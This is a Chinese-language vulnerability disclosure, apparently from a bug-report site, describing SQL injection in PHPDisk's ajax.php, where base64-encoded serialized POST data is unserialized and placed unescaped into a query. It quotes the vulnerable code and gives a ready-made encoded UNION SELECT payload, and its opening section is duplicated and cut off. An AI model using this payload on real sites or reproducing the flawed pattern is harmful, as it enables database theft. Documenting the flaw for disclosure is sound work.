### 简要描述: 周末回家,挖洞玩玩。 刚从官网上面下载的。 过滤不严。 ### 详细说明: 在ajax.php中 ``` case 'uploadCloud': $folder_id = (int)gpc('folder_id','P',0); $folder_id = $folder_id ? $folder_id : -1; $data = trim(gpc('data','P','')); $is_checked = $is_public ? ($settings['check_public_file'] ? 0 :1) : 1; if($settings['all_file_share']){ $in_share = 1; }else{ $in_share = (int)@$db->result_first("select in_share from {$tpf}folders where userid='$pd_uid' and folder_id='$folder_id'"); } if($data){ $file_key = random(8); if(strpos($data,',')!==false){ $add_sql = $msg = ''; $arr = explode(',',$data); for($i=0;$i<count($arr)-1;$i++){ $file = unserialize(base64_decode($arr[$i])); //print_r($file); //exit; $report_status =0; $report_arr = explode(',',$settings['report_word']); if(count($report_arr)){ foreach($report_arr as $value){ if (strpos($file['file_name'],$value) !== false){ $report_status = 2; } } } $num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'");...
### 简要描述: 周末回家,挖洞玩玩。 刚从官网上面下载的。 过滤不严。 ### 详细说明: 在ajax.php中 ``` case 'uploadCloud': $folder_id = (int)gpc('folder_id','P',0); $folder_id = $folder_id ? $folder_id : -1; $data = trim(gpc('data','P','')); $is_checked = $is_public ? ($settings['check_public_file'] ? 0 :1) : 1; if($settings['all_file_share']){ $in_share = 1; }else{ $in_share = (int)@$db->result_first("select in_share from {$tpf}folders where userid='$pd_uid' and folder_id='$folder_id'"); } if($data){ $file_key = random(8); if(strpos($data,',')!==false){ $add_sql = $msg = ''; $arr = explode(',',$data); for($i=0;$i<count($arr)-1;$i++){ $file = unserialize(base64_decode($arr[$i])); //print_r($file); //exit; $report_status =0; $report_arr = explode(',',$settings['report_word']); if(count($report_arr)){ foreach($report_arr as $value){ if (strpos($file['file_name'],$value) !== false){ $report_status = 2; } } } $num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'"); if($num && $file[file_id]){ $tmp_ext = $file[file_extension] ? '.'.$file[file_extension] : ''; $msg .=$file[file_name].$tmp_ext.','; }else{ $add_sql .= "($file[file_id],'$file[file_name]','$file_key','$file[file_extension]','application/octet-stream','$file[file_description]','$file[file_size]','$timestamp','$is_checked','$in_share','$report_status','$pd_uid','$folder_id','$onlineip'),"; } } if($add_sql){ $add_sql = is_utf8() ? $add_sql : iconv('utf-8','gbk',$add_sql); $add_sql = substr($add_sql,0,-1); $db->query_unbuffered("insert into {$tpf}files(yun_fid,file_name,file_key,file_extension,file_mime,file_description,file_size,file_time,is_checked,in_share,report_status,userid,folder_id,ip) values $add_sql ;"); } }else{ $file = unserialize(base64_decode($data)); //write_file(PHPDISK_ROOT.'system/ax.txt',var_export($file,true),'ab'); //print_r($file); //exit; $num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'"); ``` 来利用下面的这个else里面的来注入把。 ``` lse{ $file = unserialize(base64_decode($data)); //write_file(PHPDISK_ROOT.'system/ax.txt',var_export($file,true),'ab'); //print_r($file); //exit; $num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'"); ``` 在这里 $data = trim(gpc('data','P','')); data是我们可控的。 虽然全局转义 但是在这里会对他进行一次解码 然后对他先解码一次 然后再反序列一次。 $file[file_id] 然后将这个就带入了查询当中、 Come and sql it。 ### 漏洞证明: 首先在本地对语句进行序列化 然后再encode一次 得到 YToxOntzOjc6ImZpbGVfaWQiO3M6MTk6ImFhJyBVTklPTiBTRUxFQ1QgMSMiO30= 这里我直接把语句输出来把。 ``` $file = unserialize(base64_decode($data)); //write_file(PHPDISK_ROOT.'system/ax.txt',var_export($file,true),'ab'); //print_r($file); //exit; $sql="select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'"; echo $sql;exit; $num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'"); ``` 然后提交 得到。 [<img src="https://images.seebug.org/upload/201404/12154650309b55ec83b6f87ae8520909a080f585.jpg" alt="p2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/12154650309b55ec83b6f87ae8520909a080f585.jpg) 看这语句。 不用多说了把。